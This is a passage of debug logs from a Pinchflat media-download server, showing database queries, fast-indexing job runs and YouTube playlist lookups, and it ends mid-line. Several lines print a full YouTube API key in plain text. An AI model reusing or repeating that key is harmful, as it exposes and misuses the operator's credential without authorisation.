QUERY OK source="media_profiles" db=0.1ms idle=1008.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:30.858 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:30.858 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 17:17:30.858 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:30.858 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:31.116 [debug] QUERY OK source="media_items" db=0.6ms idle=258.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "cvQ4mt95VD4", "nNl03lyJ0DY", "doFGXubmSDU", "qjCKMW5MmtI", "WJ4paCmvxRw", "UD9X5WxZ5nE", "s1khuVEDnpg", "s1F2wfUZYZQ", "Jm-6iviCl3k", "sz2u186BFek", "7iDmAl3xAIs", "jmrg7j5mhAc", "vWQ4T6rSI8I", "3xDmL9wrWHA", "EDe71YWP1PQ", "D1oCndkYDrU", "TRdwyWoFN2U", "cwXDjO_7tG0", "fPultyYlb-E", "PtCMsXYAPyc", "WVsG3daysEM", "NofmSGPCDr4", "63m_fsOE-eQ", "HC_kIVdg5CE", "YgMNE4C89EQ", "JrysfjSZRns", "MwllurO2M-Y", "G-2bgFvizNk", "gAiLAJ6jlbE", "voXclnaYIaE", "1YO2_PLGP-M", "GRH-Z7onr8k", "N36yb-X1LN0", "lW4DtROF2K4", "5WOfbrrmwYE", "Vwh9SpgU5UM", "pF7flwZJgLA", "BA-CE2hAIeY", "I0PX9qghK1M", "2Ft0NWeznB4", "dXHIMEH0tTo", "wWg_-RXVh2A", "kJC1l4__UhE", "pFiRYgvg69E", "Kf-67zxoUlw", "cDSiCPt2pKM", "fPOCtxWsBYs", "RYok1AdumBU", "YB_dhxAtTjU", ...] 17:17:31.117 [debug] QUERY OK source="media_items" db=0.9ms idle=258.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 17:17:31.118 [debug] QUERY OK source="tasks" db=0.1ms idle=260.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268438, 36, ~U[2026-10-09 22:17:31Z], ~U[2026-10-09 22:17:31Z]] 17:17:31.119 [info] {"args":{"id":36},"id":5268398,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":261870,"event":"job:stop","queue_time":319173,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:31.859 [info] {"args":{"id":2},"id":5268399,"meta":{},"system_time":1791584251859125160,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:31.859 [debug] QUERY OK source="sources" db=0.1ms idle=740.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:17:31.859 [debug] QUERY OK source="settings" db=0.1ms idle=740.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:31.860 [debug] QUERY OK source="media_profiles" db=0.1ms idle=734.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:31.860 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:31.860 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 17:17:31.860 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:31.860 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:32.022 [debug] QUERY OK source="media_items" db=0.6ms idle=162.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "dP91f2ZTcVo", "z8AtW0ufLuA", "NP7wz4bND3U", "ZF-AafvQZGI", "s3SdFYtRQB4", "9gxqJja_Uw8", "mQ4GG4As-so", "A2wtNp7A_pM", "PT8Iaeoah0A", "geN1VEZF1T0", "uzgWSN1aLt4", "aP68kBQDX2I", "6HcPlK1loWo", "NRhDHqEaXHc", "ijAISVpMIrs", "Dznsr0KN1XU", "2q5x8pdLRpo", "Olwjkt1QNTk", "MW_9s3Y_urI", "yYfActSoDbY", "u8R-bnz1MPU", "JmyepGMyt64", "42noFFM17NE", "AyaRzcapkZ0", "JOMaYjU4Gnw", "JivF-DgpiAE", "hgDGfh74pbw", "_YCDCBtjxrk", "alElfDsk9G8", "P5WzhbRbWKQ", "vVMZuSF7n24", "a2hhtkbcbtU", "MfwD2C4bvN0", "2qlV1KN_67Q", "m1PMTAEeywI", "BsWMWSI1uj4", "fgqKGIiP0SI", "WbO5wGNlrvk", "ezRmgQFaOc0", "WmzphlOwku8", "arA6Q45qTz0", "OpruRLLJC8Y", "R_bsecuV1OM", "w3E_LIeL4gY", "vI_aUzOCM9E", "lIHKjltoDvU", "jeW6dAHq2bQ", "Dwhvzwv7nTc", "zbqZ-0puJjg", ...] 17:17:32.026 [debug] QUERY OK source="media_items" db=2.8ms idle=163.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:17:32.027 [debug] QUERY OK source="tasks" db=0.2ms idle=167.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268439, 2, ~U[2026-10-09 22:17:32Z], ~U[2026-10-09 22:17:32Z]] 17:17:32.028 [info] {"args":{"id":2},"id":5268399,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":168697,"event":"job:stop","queue_time":314188,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:32.860 [info] {"args":{"id":22},"id":5268400,"meta":{},"system_time":1791584252860220321,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:32.860 [info] {"args":{"id":10},"id":5268401,"meta":{},"system_time":1791584252860259804,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:32.860 [debug] QUERY OK source="sources" db=0.1ms idle=832.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 17:17:32.860 [debug] QUERY OK source="sources" db=0.1ms idle=832.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 17:17:32.860 [debug] QUERY OK source="settings" db=0.1ms idle=826.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:32.861 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:32.861 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:32.861 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:32.861 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:32.861 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 17:17:32.861 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:32.861 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 17:17:32.861 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:32.861 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:32.861 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:32.861 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:32.979 [debug] QUERY OK source="media_items" db=0.6ms idle=117.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 17:17:32.980 [debug] QUERY OK source="media_items" db=0.3ms idle=118.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 17:17:32.980 [debug] QUERY OK source="tasks" db=0.1ms idle=118.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268440, 22, ~U[2026-10-09 22:17:32Z], ~U[2026-10-09 22:17:32Z]] 17:17:32.981 [info] {"args":{"id":22},"id":5268400,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":120619,"event":"job:stop","queue_time":481940,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:33.185 [debug] QUERY OK source="media_items" db=0.7ms idle=204.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "_0G4OG39XjI", "3iRUwVzRDZQ", "e1q-TuHdc4Y", "rayrrXot17M", "DkUuOr21v4s", "pOX1l1edBME", "ohqxP8EEumo", "6D__H_DO2Xk", "Od6M0AXpcxQ", "R6yNUnRXZ64", "uJdjKOBikTE", "ANmTVYkEtLw", "fo-uubnajWM", "v-_d2e7x4KA", "ngPkbaZliaU", "mfmdXPT7nAM", "o4SSoURPODY", "Z6z_feacXW8", "_xjxwl1zLMc", "8Hx2yvWSgs0", "kUnR9dO4EnA", "_oRgdlJUD18", "eWKY0OnPByg", "DUgPFNRmsCQ", "7KRabLH7jcE", "ZpF6IE0rdxA", "oYAnEH0JoqI", "QrT4S9i3agE", "WOzcFkld6_g", "_gCXmKjDecU", "n3V3LZh_r40", "ImRy_PiXstI", "mk_wdHePbtQ", "M4xlXvCAc2E", "9GSDvO0LFFE", "OPOS0tre9eQ", "VIE2Ri2DQJg", "eFeDpUVEy48", "coX4duwUCpw", "i9TvUGeTltE", "7YrdI7h2XoY", "c347oYQO57A", "5aS-8QCRdGE", "s3DrGkDvgNw", "as_NEJAP8ew", "Hc0aqOEU2w8", "eFUB_jL_XcM", "pvjivZ6C6CA", "jru9Gsz3kJY", ...] 17:17:33.189 [debug] QUERY OK source="media_items" db=2.9ms idle=205.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 17:17:33.190 [debug] QUERY OK source="tasks" db=0.1ms idle=202.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268441, 10, ~U[2026-10-09 22:17:33Z], ~U[2026-10-09 22:17:33Z]] 17:17:33.190 [info] {"args":{"id":10},"id":5268401,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":329789,"event":"job:stop","queue_time":342272,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:33.862 [info] {"args":{"id":4},"id":5268402,"meta":{},"system_time":1791584253862236347,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:33.862 [debug] QUERY OK source="sources" db=0.1ms idle=672.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 17:17:33.862 [debug] QUERY OK source="settings" db=0.1ms idle=672.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:33.863 [debug] QUERY OK source="media_profiles" 